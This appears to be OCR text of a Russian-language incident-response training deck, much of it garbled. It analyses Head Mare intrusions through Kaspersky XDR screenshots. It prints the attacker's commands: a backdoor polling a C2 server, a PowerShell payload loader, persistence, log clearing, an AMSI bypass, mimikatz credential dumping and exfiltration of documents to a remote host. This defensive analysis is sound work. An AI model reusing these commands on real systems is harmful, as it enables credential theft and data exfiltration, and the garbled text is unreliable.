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Intelligence Driven Incident Response




Intelligence Cycle

Direction

Feedback Collection

oaniy WY

Dissemination Processing

Analysis

Direction — aTO npouecc ycTaHOBNEHNS
BOMPOCAa, Ha KOTOPbIA AOMKHA OTBETUTb
pasBenka. OTOT BOMPOC MOXET OblTb
MOYYeH N3 BHELLIHErO NCTOYHMKA,
paspaboTaH camoi pa3seapiBaTebHON
rpynnom nnm paspaboTaH
3alHTepPeCOBaHHbIM CTOPOHaMU U
pasBenpiBaTENbHOW rPYnron

Collection - C6op AaHHbIX — 3TO
LUMpOKOMacLUTabHoe
MEepOonpUsTHEe, KOTOPOE AO/MKHO
BbITb COCPenoTO4YEHO Ha cbope Kak
MOXHO 60/IbLLErO KONMYECTBa
[aHHbIX N3 MHOXECTBA NCTOYHMKOB.

Processing - ObpaboTka, Heobxoanmas
[N TOro, YTO6bl caenaTh AaHHble
NPUroaHbBIMU K NCTOSb30BaHWIO.
ObpaboTka COCTOUT N3 HOPMaIM3aLmW,
nHOeKcauun, NnepeBoaa, oboraileHns,
duUnbTPaLMN, MPUOPUT3ALN,
BU3Yyann3auunmn.

Analysis - AHanM3 cTpemMmmTcs
OTBETUTb Ha BOMPOCHI, KOTOPbLIE OblNi
onpeaeneHbl Ha aTane HanpasneHs.
B aHannse pasBepnaHHbIX
cobpaHHble AaHHble
XapaKTepusyoTCs 1
paccMaTpuBalOTCS B CPaBHEHUN C
APYTM OOCTYMHBIMY AaHHBIMU, U
NPOBOANTCSA OLEHKA NX 3HAUYEHWNIA L
NOCNeacTBUI.

Dissemination - PacnpocTpaHeHne
CreHepupoBaro pearbHble pa3BejaaHHble,
KOHTEKCTYanmM3npOBaHHbIA OTBET Ha
BOMPOC, MOCTaBMEHHbIN Ha 3Tane
HanpaBneHNs

Feedback - Ha aTane obpaTHOI CBA3U
3a[aeTCcs BOMPOC, YCNELIHO NN
chopMMpOBaHHbIE pasBennaHHbIe
OTBEYaET yKa3aHWo U HET.



Incident-Response Cycle

Preparation

Lessons
Learned Identification
Recovery Containment

Eradication

Preparation - NogrotoBka — aTO
LaHC oNg 3almUTHMKa onepeanTb
aTakyioLLLero, pasBepHyB HOBble
CUCTEMbI OBHaPY>KEHMS, CO3AaB U
OBHOBMB CUrHATYpPbI 11 MOHSIB
©a30BYIO CUCTEMHYIO 1 CETEBYIO
aKTVBHOCTb. [logroToBka COCTOUT
3 MOHUTOPWIHIa, YKPEernieHns,
npoLecca 1 JOKYMEHTUPOBaHKS,
NPaKTUKA

|dentification - 9TO MOMEHT, Korga
OBOPOHSIOLLMINCA OBHaPYXBaeT
NPUCYTCTBME HanaaatoLEero,

BO3OENCTBYIOLLEro Ha ero cpeay.

Containment - 3To NepBoOHaYanbHbIe

NOMbITKW CMArYnTb AENCTBUSA
310YMbILLNIEHHVIKE, OCTaHOBVIB VX B
KPaTKOCPOYHON NMepCcnekTuBe 1
NOArOTOBVB AONITOCPOYHbBIN OTBET.
TN KPaTKOCPOUHbIE OTBETHI HE

MOTYT CAeNaTb aTaky HEBO3MOXXHOW,
HO OHW PE3KO CHMXXAIOT CMOCOBHOCTb

3/10YMbILLSIEHHMKA NPOAO/KaTb
JOCTuUraTb CBOVIX Lienen.

Eradication - coCTOUT N3 OONTOCPOYHbIX
Mep MO CMSArYeHNIo NOCNeacTBUN,
NPY3BaHHbIX HaBCeraa yaepxXxaTb
Hanagaowero (B OTM4vne OT BPEMEHHbIX
Mep Ha aTane caep>XnBaHus). 9Tmn
OENCTBUS OOKHbI BblTb XOPOLLO
NpoAyMaHbl 1 MOryT MOoTpeboBaTb
3HaUNTENBbHOr O KONIMYECTBA BPEMEHU
pecypCcoB A9 pa3BepTbiBaHNS

Recovery - aTo NpoLecc BO3BPALLEHMS
B COCTOSHME 6e3 nHumaeHTa. B
HEKOTOPOM CMbIC/IE BOCCTaHOB/EHME
MPOUCXOANT HE CTOJSIbKO OT CaMOl
aTaKku, CKOMbKO OT AENCTBUI,
npPeanpPuUHSTLIX PecnoHaAeHTaMn
VHUMOEHTA.

Lessons Learned - oueHnBaeT
pPaboTy KOMaHbl Ha KaXXAoM aTane



Head Mare

Head Mare: npukntoyeHns equHopora B
Poccunn n benapycu

CoBmecTHble aTakm Head Mare
n Twelve Ha poccumnckne opraHmsaumm

3agBka oT Head Mare: HoBagd Lenesad
pacchlfika ¢ 6akgopom PhantomPyramid



& Backto Actors

Head Mare

1D: AD187

CVEs: CVE-2023-38831 CVE-202127065

Tactic Techniques Details Severity
TAOOO1 Initial Access T1566.001 Spearphishing Attachment Head Mare has used spearphishing emails with an attachment to deliver files with the PhantomCore and PhantomDL malwares. @
TAOQOQO! Initial Access T1199 Trusted Relationship Head Mare gained access to the victim's infrastructure by compromising a contractor. High
TAOQOO Initial Access T1078 Valid Accounts Head Mare used the credentials of a trusted organization. |@|

TADOOD2 Execution

TAQ002 Execution

TAO002 Execution

TAO002 Execution

TAO002 Execution

TAO002 Execution

TAQOOS3 Persistence
TAOOO3 Persistence
TADOO3 Persistence
TAOQOO3 Persistence
TAOO0O4 Privilege Escalation
TAOQO4 Privilege Escalation
TAOO0O5 Defense Evasion
TADOO5 Defense Evasion
TAQQO05 Defense Evasion
TAOO0O5 Defense Evasion

TAO005 Defense Evasion

Total: 52

T1059.001 PowerShell

T1059.003 Windows Command Shell

T1203 Exploitation for Client Execution
T10& Native API

T1053.005 Scheduled Task

T1204.002 Malicious File

T1547.001 Registry Run Keys / Startup Folder
T1136.001 Local Account

T1543.003 Windows Service

T1053.005 Scheduled Task

T1078.002 Domain Accounts

T1078.003 Local Accounts

T1140 Decbfuscate/Decode Files or Information
T1070.001 Clear Windows Event Logs
T1070.004 File Deletion

T1036.004 Masquerade Task or Service

T1036.005 Match Legitimate Name or Location

Head Mare has used the cmdlet Get-ScheduledTask: Get-ScheduledTask -TaskName "WindowsCore™

Head Mare has used Windows Command Shell to execute various commands: "cmd /¢ "cd fd $selfpath &&whoami” "emd /¢ “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v \"Microsof ...
Head Mare has used exploit CVE-2023-38831 for WinRAR for executing malware.

Head Mare has used the Windows APl function NetGetJoininformation, which retrieves join status information for the specified computer.

Head Mare has used scheduled tasks to execute malware on victim systems as a SYSTEM: schtasks /create ftn \"MicrosoftUpdateCore\” ftr\"$appdata\Microsoft\Windows\srvhost exe\" fsc ONLOGON /r_..
Head Mare has used malicious e-mail attachments to lure victims into executing malware. *PacuetHan_sepomocts_TH76_309_or_05 07 2024 rar®, "“Boaspar cpepacTe pexeuautslrar”, “Cuet-Qaktyparar”, ..
Head Mare has used “reg add™ to add PhantemCore to the Registry Run key for persistence: reg add HKCU\Software\Microsoft\Windews\CurrentVersien\Run /v \"MicrosoftUpdateCoree\" ft REG_SZ /d \"$...
Head Mare created a local privileged account, which then was used for RDP connection to the compromised host.

Head Mare established persistence was also achieved by installing a tunnelling tool as a system service with autorun parameters.

Head Mare has used scheduled tasks to persist malware on the victim systems: schitasks fcreate ftn \"MicrosoftUpdateCore\" fir \"$appdata\Microsoft\Windows\srvhost exe\" [sc ONLOGON

Head Mare used existing compromised domain accounts, connecting, for example, via RDP from the contractors’ infrastructure

The attackers used previously created local accounts, having received data from the LAPS service using the ADRecon utility. Directory with the downloaded accounts: \CSV-Files\LAPS csv

Head Mare obfuscated malicious payloads.

Head Mare cleared Windows event logs via PowerShell: wevtutil cl security, wevtutil ¢l application, wevtutil ¢l system, Get-Eventl og -LogName * | ForEach { Clear-EventlLog $_Log }

Head Mare removed some of the utilized files.

Head Mare has used a task name associated with legitimate Microsoft task name: *"MicrosoftUpdateCore™ and *MicrosoftUpdateCoree™

Head Mare has used the LockBit ransomware named OneDrive.exe and VLC.exe and various tools also named similar to the legitimate ones and located in the legitimate or similar paths: C:\Windows\system...
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powershell.exe -WindowStyle hiddem -c "%r=%(Get-Location).Path + "‘3asexka [REDACTED] 5 @30.zip";

if(Test-Path %r) {
cmd.exe fc start /B $r;

12

T else {
$f=%(Get-ChildItem -Path "XuserprofileX®’ -Recurse -Filter '3asexa_[REDACTED] 5_@30.zip" | Select-Object -First 1);
if($f) {
fr=%f.FullName; cmd.exe fc start /B %f.FullName;
¥
I

if(-Not (Test-Path %r)) {
fr=%(0et-ChildItem -Path 'Xtemp®" -Recurse -Filter

"Janexka [REDACTED] 5 83[.zip" | Select-Object -First 1).FullName; def main_loop():
) while True:
I3 try:
[System.I0.File]: :WriteAllBytes( response = requests.get(f"http://{SERVER_IP}:80/task?uid={uid}", timeout=5)
- . - verg S - 'y if response.status_code = 200:
[5ystem.I0.Path]::Combine( ' ¥temp®’, '3assxka [REDACTED] 5 @3AQ.pdf'), task = response.json().get( task")
([System.I0.File]: :ReadAllBytes($r) | Select-Object -Skip 7166846 -First 14718 if task:
)3 print(f"Received task: {task}")
¥ *
use_popen = "process" in task
Start-Process -FilePath %([System.IO.Path]::Combine(’'%temp®', '3assxa_ [REDACTED] 5 if use_popen:

task = task.replace("process ", "", 1)
result = execute_task(task, use_popen)
print{f"Execution result: {result}")
Powers he” _Ink submit_result(result)
print{"Task completed. Waiting for new instructions...”™)
else:
print{"No new task.")
else:
print("Failed to get task. Code: ", response.status_code)
except requests.exceptlons.RequestException as e:
try:
print{f"Connection error with server. Retrying in {TIME_WAIT} seconds...")
finally:
e = None
del e

except Exception as e:
. try:
Badeoor Pha ntompyramld print{f"Unknown error when getting task: {e}. Retrying in {TIME_WAIT} seconds...")
finally:
e = None
del e
else:
time.sleep(TIME_WAIT)



AnepTel >

Execution of bad file that was recently blocked by KSMG  Hassauen &7

YpoBeHb BaXHOCTI E Kputuueckuin v HazHaunts: 3akpuiTe anept Mpuessats

& All alerts > Alert #5283 > Sandbox scan results

Kaspersky
Anti Targeted

Attack Platform W|n1 0 x64
Kputiuecs] i,

B3 Dashboard

ExploitWin32.ShellCode.cafg, HEUR:Backdoor.Python.PhantomPyramid.gen

Boicokwit

Alerts
P Quick scan mode
edb6d05e

3eb06392 Network traffic events

[#] Activity list
Threat Hunting [=] Activity tree
Tasks

Prevention

Customrules v

Storage v
Method URL

Assets
Network _ R
etwork map h:‘[p_l."l.-"] 0921071

Risks and anomalies

Reports v ttp://109.107182 11/task?uid=4019ba86-34ac-407c-89fc-3f4e7

Logs v

Settings >
Ceasf &

e b)) Sensorservers

|=] HTTP activity log

10
Destination IP Method

10910718211:80 http:/109.107182.11/hello

10910718211:80 http: /109107182 11/task?uid=4019ba86-34ac-407c-8%9fc-3f4e793a31a2




All events » Process started

®isolate pc-6.demolab  [BCreate preventionrule [ Create task v

Details

Process started

Details

interpreter_started_by nk_from_arch_windows [3

4204

"C:\Windows\System32\WindowsPowerShell\v1.0\ powershell. exe" -WindowStyle hidden -¢ "$r=$(Get-Location).Path + "\3arexa_YB_5_03[ zip'jf(Test-Path $r) { cmd.ex
& [c start B $r; } else { $1=$(Get-Childitem -Path 'C:\User<QP -Recurse -Filter ‘3arexa MNVB_5_03/ 2ip’ | Select-Object -First 1), if($1) { $r=$1 FullName; cmd.exe /¢ st
art /B $f FullName; §; kif{-Not (Test-Path $r)) { $r=8{Get-Childitem -Path 'C’\iser \AppData\Local\Temp\2' -Recurse -Filter “3asexa MNYB 5 03[l zip® | Select-0
bject -First 1. FullName; }; [System. IO File]-WriteAllBytes{[System 10 Path]:Combine{"C:\U ser-\ADD Data\Local\Temp\2', "Saseka_YB_5_03[1pdf), ([System.I0.
Fie] ReadslByies($r) | Select-Object -Skip 7166046 -First 147100)); Start-Process -FilePath ${[System. 10 Path]:Combine{'C:\| Temnp\2',
‘3anexa MNYB_5 03[ pdf));

["DEBUG_PROCESS"]

437 KB

2026-04-1416718:35.494

Microsoft® Windows® Operating System
Microsoft Corporation

10.014393.206

Windows PowerShel

PowerShell EXE

CA\Windows\system32),

10.0014393.206

4]

Microsoft Windows

" The signature is OK

A
C:\_user-\_Aop:la:a\Loca \Temph 2\ Templ_3anexa_MYB_5_03[ zip\3aseka MYE_5 03[ pdfink

2016-11-21 04:51:27404

& hitp 0w

All events > Process started

L2 O 3asexka YB 5 03[zp | & 4 v &% http;//109107182.1/hello
& 1solate pc-6.demo.lab [SCreate prevention rule [ Create task ~

Details Events

Process started

tag suspicious_file_named_as_archive_execution_windows [2

5 '-r-_l_]n'-z? ktop\3aseka_YB_5_03/1,zip"

Process 5424

-aUnch parameoters C.\Users-\Desktop\SaﬂBKa_I'YB_S_O3ﬂ,zip

c10cébeH1dc

07641c2ab22584b64bde

256 c190435790d365dB88464be7bebfelec21ed4042ff6DcHDaae/14527fb9111fcd
File type PE executable
Size 7MB

Event time 2025-04-1416:18:38.621




PesynbraTt KIRA

15

PeaynbTrat aHanunsa KIRA

() PesynbTatel, NPEAOCTABNEHHbBIE CUCTEMOI UCKYCCTBEHHOTO UHTENNEKTA, IBNRIOTCS aBTOMaTUYECKUMM 1
MOTYT COAEPXaTb HETOYHOCTH

18.04.2025
1225

MoposputensHo

KpaTkoe conepxavune

KomaHnpa ncnonesyet PowerShell ans ckpeiToro 3anycka ¢aiina . zip, copepxawero speaoHocHoe MO, kotopoe 3atem
pacnakoBLIBAETCH W OTKpbiBaeTca kak PDF-daiin. 3To npeacTasngeT coboi 3Ha4MTENbHLIN PUCK Ang Be3onacHoCcTH, Tak
KaK Nonb30BaTeNb MOXET 6bITb HE OCBEAOMAEH O MPOMCXOAALLEM U NOABEPraeTCs BO3MOXHOW KOMNPOMETaLMN CUCTEMBI.

Ananuns

1. \Windows\System32\WindowsPowerShell\v1.0\powershell.exe" - 3anyck PowerShell 3 koHkpeTHOro

| | |
e r n v t I t I n
. -WindowStyle hidden - CkpbiTue okHa PowerShell npu BoinonHeHUn KoMaHL

.-c "$r=%$(Get-Location).Path + "\3aaeka_lYB_5_03[.zip';if(Test-Path $r) { cmd.exe /c start /B $r

else { $f=%(Get-ChildItem -Path 'C:\Users® ' -Recurse -Filter '3asska_lYB_5 034.zip' | ]
Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; };if(-Not R A

(Test-Path $r)) { $r=%$(Get-ChildItem -Path 'C:\Users)” """~ “\AppData\lLocal\Temp\2' -Recurse - I
Filter "3asska_[YB_5 03[.zip" | Select-Object -First 1).FullName; };

[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine( 'C:\Users' \AppData\Local\Temp

'3aneka_lYB_5_03[.pdf"'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 7166046 -Fir

147100)); Start-Process -FilePath

$([System.I10.Path]::Combine( 'C:\Users AppData\Local\Temp\2', ‘'3aaexka_lYB_5_034.pdf"'));

[nuvHHas uenoyka komaua PowerShell, Bknoyas nepemeHHbie, yCNoBuS, BbI30Bbl APYrUX KOMaHA 1 3anuce pannos




Statistics ©

Attack Low

Files related to IP address ©

High

1 Download data

Detection Statistics

Status Hits (=) File MD5 Detection name Web address First seen Last seen
Malware 10,000 c10céc61dd7807641c2ab22584b6... ExploitWin32.ShellCode.cafg 109.107.182.11/result Mar 11 2025 13:10 Apr82025 22:33
Malware 1,000 37c0c0b253088c845aad2f36520ea... ExploitWin32.ShellCode.cafm 109.107.182.11 /result Mar 12 2025 10:28 Mar 29 2025 01:03
A Adware and other 100,000 2468d95f5953eb8d8f2de6999952... BSS:Trojan.Win32.Generic 109.107.182.11/hello Mar 18 2025 09:18 Mar 18 2025 09:18
A Adware and other 100,000 eababf4d1d556b2b71f85fc493229... BSS:Trojan.Win32.Generic 109.107.182.11 /task?uid=9033e554... Mar 18 2025 09:18 Mar 18 2025 09:18
Clean 1,000,000 b817ff33a3712d5ffb95064564%9al... — 109.107.182.11 /favicon.ico Apr182025 13:17 Apr 18 2025 13:28

Hosted web addresses ©

) Download data

Status Hits (=) Web address First seen Last seen
Dangerous 10 109.107.182.11 Apr18 2025 13:16 Apr18 2025 13:28
Dangerous 10 109.107.182.11/favicon.ico Apr18 2025 135:28 Apr18 2025 135:28
Dangerous 10 109.107.182.11/hello Mar 11 2025 13:10 Apr82025 22:33
Dangerous 10 109.107.182.11/result Mar 112025 13:10 Apr8 2025 22:33
Dangerous 10 109.107.182.11/task ¥ Mar 112025 13:10 Apr8 2025 17:14

B L . ——
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c (=) explorerexe | % 71 v B cmdexe [ 81 v schtasksexe | @ 2 v

R isolate pc-6.demolab [0 Create preventionrule  [MCreate task v

Details Events (2)

Process started Parent process

\Windows\System32\cn

9720

6792 : = C:\Windows\system32\cmd.exe /c ""C:\Users\ . sta!l bat" "

)

schtasks /create /tn "MicrosoftUpdateCore” /tr\"C:\Users\ A rpData\Roaming\Microsoft\Wind
ows\srvhostt.exe\" /sc minute

¥ Isolate pc-6.demolab  [3 Create preventionrule [ Create task v

Details Events

Process started Parent process

- AppData\Roaming\Microsoft\Windows\srvhostt exe’ 1568

1452 CAWindows\system32\svchost exe -k netsves -p -s Schedule

CA\User s'nl- \AppData\Roaming\Microsoft\Windows\srvhostt exe ’

L3 Eir it 30320438087 facdBa?6537dabB4R57 R

[DEBUG_PROGESS"] 7fd055bac18c52787772e44908101cdfed72d26faT741367 f0ad

18a




(i) | 5252176129 Dark

Threat Lookup

Lookup 1 Darkweb O Surface web O Al OSINTIOCs 1 Reporting O Actors O Digital Footprint O
Daily request quota for your group: 9964 of 100000 left
(D The following content is Al-generated and may contain inaccurate orunreliable information.

Head Mare

ID: A0187
CVEs: CVE-2023-38831 CVE-202127065 CVE-2021-26858
Software: [ a ADRecon][ a XenAIIPassworde][ a ProcDumpH a (:obint][ a Babuk][ a LockBrts,o]

Please consider this when using the information.

Observed
16 July, 2024

Affected areas
Russia

Associated software
WinRAR - PhantomDL

Exploited vulnerabilities
CVE-2023-38831 - CVE-2023-3883

General threat information

A group called PhantomCore conducts targeted attacks using compromised external organizations as 'launching pads’.

Highlights
1. The attackers developed and used multiple versions of the PhantomRAT trojan, including versions written in C# and Go, with additional
commands and features.
2. The attackers compromised various organizations to use them as ‘launching pads’ for their attacks, sending malicious emails and deploying
malware through the compromised infrastrueture.

Date Source

22 Aug 2024 19:00 https:/fwww facct ru/blog/phantomcore-evolution/

Total:1 1 20 /pages

\ 4

[5 RCIone][ a PsExer:H ) Impacke‘t][ a Ngmk][ B Mimikalz” ® Phanmmjitter]

| @ PhantomDL /PhantomCore | |  POwny-shell || @ gost ||  CloudFlareD || ( revsocks || @ fscan |

[@ Rsockstun ] [ © Certify ][ © Lucaltunet“ (© PAExec ][ © Sll'werH (© SoftPerfect Network Scanner]

— @

Created Aug72024
Updated Apr14 2025
Aliases
‘ rainbow hyena ‘
Industries

(4 Energy | (4 Entertainment || ¢4) Government | (%) Manufacturing | | (4 Technology || (4] Transportation

Affected countries

I Belarus | ™ Russian Federation

Description

Head Mare is a hacktivist group that first manifested itself in late 2023 on the social network X_ On this social network, they publish information
about some of their victims, including names, internal documents stolen during the attacks. as well as screenshots of desktops and
administration consoles.

Main Activity

The group exclusively targets organizations in Russia and Belarus, mainly using publicly available tools, a common trait among most hacktivist
groups.

However, there are distinctive features characteristic of Head Mare. For initial access, the group employs phishing with a malicious attachment.
This attachment contains an archive that exploits the WinRAR vulnerability CVE-2023-38831, allowing the execution of malware on the victim's
host alongside opening a legitimate file from the archive. The malware in the archive includes PhantomDL and PhantomCore samples,
responsible for establishing a connection with the command server and domain reconnaissance. Also, Head Mare created a new backdoor called
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& O explorerexe (@ 7 v B cmdexe |1 v B ngrokexe | & 2 ¥ &% 3571179

sﬂ
R Isolate pc-6.demo.lab [3 Create prevention rule [ Create task v
Details Events (3
Process started Parent process
A Mic T TTY, e T ERE e R 8336
5944 C:\Windows\system32\cmd.exe /c ""C:\Users \update bat" *
C:\Users :a\Roaming\Microsoft\Windows\ngrok.exe http 80 --oauth=google
1] 14 4 ) ¢
2065c3362477918febff 24de7£38£163341db: System info

DE

27MB 10.€ 2.4¢

2025-04-1416:43:0791

£ [ servicesexe (% 2022 v| - £ O dnsexe (@ 85195 v | - connect.ngrok-agent.com -
Details
P |solate xdr-dc.demo.ab  [J Create preventionrule [ Createtask v

ngrok agent

& DNS Event initiator

32200 "C:\Windows\System32\dns.exe"

The ngrok agent gets you online in one line 19212 943053 C\Windows\system32\dns.exe

y
= DNS_QUERY_STANDARD @ Find events
CUsers \Desktop\3.Pivoting\ 0 c3e808a8360f42ech4ee50e6b20£a789
connect.ngrok-agent.com 850ba2eb7457c06634515de98f477fd21a3ffb4d6fb5d47d9c1363£4c395

6fb3
Al

(1, ns-435.awsdns-54.com, 205.251.193.179);
4

System info

M Copy'to clipboard @) Find events
xdr-dc.demo.lab
2025-04-1416:43:09.175
10.68.85.50
NT AUTHORITY\CUCTEMA

Microsoft Windows ServerStandard 10.0.14393
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& Isolate pc-6.demo.lab [© Create prevention rule [% Create task v

AMSI scan Event initiator

powershell C:\User<{iP\AppData\Roaming\Microsoft\Windows\patch_
and_run_adrecon.psl

2025-04-1416:44:17.892

Text

System info

'System.Management.Automation.A';$c = 'si';$m = 'Utils’

mbly = [Ref].Assembly.GetType(('{@}m{1}{2}' -f $»

. $assembly.GetField(('am{@}InitFailed’' -f $c), 'NonPublic,Static"')
$field.SetValue($null,$true)

& "$env:APPDATA\Microsoft\Windows\ADRecon.psl" -Collect LAPS

& "$env:APPDATA\Microsoft\Windows\ADRecon.psl" Microsoft Windows Professional 10.0.17763

o




Unified Monitoring a
Analysis Platform

Buibpano TeHaHTOB: 1

MNanenb MOHWTOpPWHIa
AnepTtbl
WMHumpeHTb
Cobbitus
AxTMBbI
fi] Oruetni
Pecypcbi
% CyberTrace
[¥] Oucnetuep 3apau
{3} MNapametpo

¥ CocTosiHMe UCTOYHMKOB

LDAP

Event initiator
ADS_SCOPE_SUBTREE

(samAccountType=805306369)

A Copyto clipboard @ Find events
DC=demo,DC=lab
cn.dnshostname;ms-mes-admpwd. ms-mes-admpwdexpirationtime

2025-04-1416:44:25.595

System info

nea
(9

\Windows)\System32\WindowsPowerShell\v1.0\powershell.exe"

powershell C:\Users’
and_run_adrecon.psl

"AppData\Roaming\Microsoft\Windows\patch_

Y Find events

7353£60b1739074ebl7c5f4dddefe23?

de96abeb9944335375dc1lac238336066889d9ffc7d73628ef4felblbl60
ab32c¢

pc-6.demo.lab

10.68.85.46

Microsoft Windows Professicnal 10.0.17763

ADS_SCOPE_SUBTREE -
(objectClass=group)

M Copytoclipboard @ Find events

DC=demo,DC=lab

admincount;canonicalname;distinguishedname;description;grouptype;samacco

untname;sidhistory;managedby;objectsid;whencreated;whenchanged

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

powershell C:\Users',
and_run_adrecon.psl

\AppData\Roaming\Microsoft\Windows\patch_

®) Find events
7353£60b1739074ebl7c5f4dddefe239

de96ab6eb9944335375dclac238336066889d9ffc7d73628ef4felblblb0
ab32c

LDAP

Event initiator

ADS_SCOPE_SUBTREE

(&(samAccountType=805306368)(servicePrincipalName=*))

>eprincipainame;primarygro

2025-04-1416:44:30.678 SYStem info

Windows\System32\WindowsPowerShell\v1.0\powershell.exe

o

powershell C:\User¢
and_run_adrecon.psi

‘AppData\Roaming\Microsoft\Windows\patch_
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a0 e (@7 v G . (@av £ (O mimikatzexe [ @ 1 v & Diooes sooeasmopen| @
+
O sé s (@ 1217 v f—
@ isolate pc-2.demolab  [J Create preventionrule  [4Create task v
Process access is open Event initiator
Windows\System32\Isass.exe C:\Userc \AppData\Roaming\Microsoft\Windows\mimikatz.exe mimikatzexe !+ !processprotect /process:lsass.exe /re
move privilege:debug sekurlsa:logonpasswords exit
C:\Windows\system32\Isass.exe i ) .
bt 1759 had3 1ad679 ) ;
System info
57 KB pc-2
2025-04-1416:59:25.846 B cmdexe [f2 v B AllinOnePas coveryPr P o PV
‘ {5l
2018-09-1510:28:46.779 £V
or e}
2018-09-1510:28:46.779
2V
[{"pid":"7440","tid":"6028","frames"[ +
{"address”:"ntdil.dII'NtOpenProcess+0x14",“flags™:"If PV _
{"address™:"kernelbase.dll'OpenProcess+0x4E" “flag
{"address™ "mimikatz exe!<imagebase>+0x7A8EE"," =
{"address”:"mimikatz exel<imagebase>+0x7AC5D","
{"address":"mimikatz exe!<imagebase>+0x7A815" "f P lsolate pc-2demolab  [GNewpreventionrule  [#Create task v
{"address™"mimikatz.exe!<imagebase>+0x4D28C","
["address™"mimikatz evelcimagehaces+OvADNCA" " . . P
o R ,, v',,,,q ) Registry key queried Event initiator

registry_key_sam_users_queried [

HKLM\SAM\SAM\Domains\Account\Users\OODOO3ES P - C\Usere’ " AppData\Roaming\Microsoft\Windows\AllinOnePasswordRecoveryPro.exe

)
fabf5f5caedadbedbc?
_ 8d98249870e597 af

2025-041416:59:52 114

System info

pc-2. demo.lab

10,48 8546

Microsoft Windows Professional 10.0.17763




lNMpoananusuposatb ¢ KIRA 2 x

e ok e 9991629

CA\Users', MNAppData\Roaming\Microsoft\Windows\mimikatz.exe mimikatz exe '+ !processprotect
/process:Isass.exe fremove privilege debug sekurlsa:logonpasswords exit

PesynbTraTt aHannsa KIRA

\L' pE3‘_{J’IbTaTbI, npenocTaBneHHble CUCTEMOW UCKYCCTBEHHOMNO MHTENNeKTa, ABNAITCA aBTOMaTUYECKUMU 1 )-:
MOryT COAEpPXaTe HETOYHOCTH,

nepHee obHoOBNEHWE 18.04.2025

lbIBO0 MNopgospwuTtensHo

KpaTtkoe copepxaHue

KomaHga ucnone3yer mimikatz ona n3eNeYeHna NOrMHOB N naponen y4eTHeIX 3anuceil None30BaTenen, OTKNIYeHns
3alWTE Npouecca |sass.exe U NPUCEOEHWUA NPUBUNENAW OTNAAKMW. 3to npeacrTasnqaeT coboi 3HaYUTENLHBIRA PUCK ONA
SE‘SOI'IBCHOCTH, TakK KaKk No3BONAET NONYYW Tk HECAHKLUWOHWDOBA HHBIRA AOCTYN K KPUTUYECKW BAXHbBIM OaHHBIM W CUCTEMEM.

Kaspersky
Investigation and
Response Assistant

AHanwns

1 C:\Users \ppData\Roaming\Microsoft\Windows\mimikatz.exe - Yka3biBaeT nyTb K
ncnonHaeMmomy gainny mimikatz.exe

mimikatz.exe !+ -3anyck mimikatz.exe ¢ kKomaugon !+, KOTOpPaa BLIBOAUT MHGOPMALIMID O TEKYLLEM CEaHCe
Iprocessprotect /process:lsass.exe /remove - OTKNHOYSET 3aLMTY NpoLecca |sass.exe

privilege: :debug - MpuceanBaeT NPUBHUNETUIO OTNAAKWM TEKYLLEMY NPOUECCY
sekurlsa::logonpasswords - M13BNekaeT NormHel U Naponu y4eTHLIX 3an1uceil Nonb3osaTenei.

(o R R S T

exit - 3aBepwaeT BrinoNHeHne mimikatz.exe




Threat Lookup

Statistics ©
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o E:::sia;:Federation
®
7% o
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Detection names ©

18 Apr2025 1528 18 Apr2025 1528
BSS:Exploit Win32.Generic BSS:Exploit Win32 .Generic.nblk
21 Apr2025 1431 29 Feb 2020 14:55

HEUR: Trojan Win32.Generic Trojan-PSWWin32 Mimikatz sb

Detection Statistics
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November December

11 Feb 2025 20:19
BSS: Trojan Win32.Generic.nblk

21 Apr2025 1323
VHO: Trojan-PSWWin32 Mimikatz.gen

2025

February March April

21Apr2025 1323
HEUR:Trojan-PSWWiné&4 Mimikatz gen

06 Aug 2024 21:06
A not-a-virus:HEUR:PSWTool Win32.Samdump.gen
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B cmdexe [ €1~ [2) PsExecexe [B1 v &® 10.68.8550:135

)

c-2\share\update.exe

B Isolate pc-2. demo lab [3 Create prevention rule [# Create task v

Details Events

Process started Parent process
ystem32\cmd exe"
F " \AppData\Roaming\Microsoft\Windows\PsExec.exe" 5292
5968 - aramene "C:\Windows\System32\cmd.exe" /C "C:\Users', "Desktop\run_psexec.bat"
-aunen parameters C\Users, \AppData\Roaming\Microsoft\Windows\PsExec exe \\10.68 8550 -i -s cmd.exe [faccep ©Find events
teula 3f086fbalé3647cd80cab
WF i
o 9023fBaaedadaldadbaca77aBlb5bbed128e41319a0ab ad715465adbbed5cd
0
cbB8al14388e1da3956849d638af50fe9d £ &) servicesexe (& 2027 v| - €2 O PSEXESVCexe [W 10 v| . B cmdexe (83 v B ntdsdit
08c6e20b1785d4ec4e3f9956931d992377963580b4b2c65791d99 £ O updateexe [B 1 v | - B O powershellexe (&1 v | - L ntdsutilexe [© 2 v &
©
B} demo.lab xdr-dc 2025041414
430KB +
2025-04-1417:03:32166 ¥ PSEXESVC-PC-2-5968-stderr —
. R Isolate xdr-dc.demolab  [@Create prevention rule
Details
Sysinternals PsExec Details Events
Process started Parent process
"\pc-2\share\update.exe” "C:\Windows\System32\cmd.exe"
7272 3764
\\pc-2\share\update.exe ) “cmd.exe” )
1) Find e ) Y Find events /
0 £4£684066175b77e0c3a000549d2922¢
d6b07e541563354d£9e57£c78014aldc 935c1861df1£4018d698e8bbbabfad2d7e9037d8f68ca3c2065bbcalbbdddad?

5265e574ac49385e206b4a0d831e50e5c90d8a7276£17b7a84843bab46c120cO

PE executable System info
5MB xdr-dc.demo.lab
2025-04-1417:04:05.034 10.68.85.50
Non-administrator
Details Service

- NT AUTHORITY\CUCTEMA

- Microsoft Windows ServerStandard 10.0.14393
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) cmdexe (&1 v | . £ [E) wusaexe g B8 CONSOleHoOST_historytxt

[E} rclone3738275287

&8 [64.7198109:80 ]

PR solate pe-2demolab  [BCreate preventionrule [ Createtask v

Details Events

Process started

6976

Ch\Usersginiiiigh” ppDatalRoaming|Microsoft\Windows\wusa.exe --sftp-socks-proxy roottoor@64.7198.10%:80 sync "C\Users™ \64.7198.10% -
q --ignore-existing --auto-confirm --include ** doc” --include ™*.docx” —include “*Desktop/**” —-include "*Documents/**" —include “*Downloads/*
** —-include “* pdf® --include ** xIs" --include ** xlsx" --include "* zip" --include "* rar® --include * txt" --include ** pn** —include ** ppt" --include **
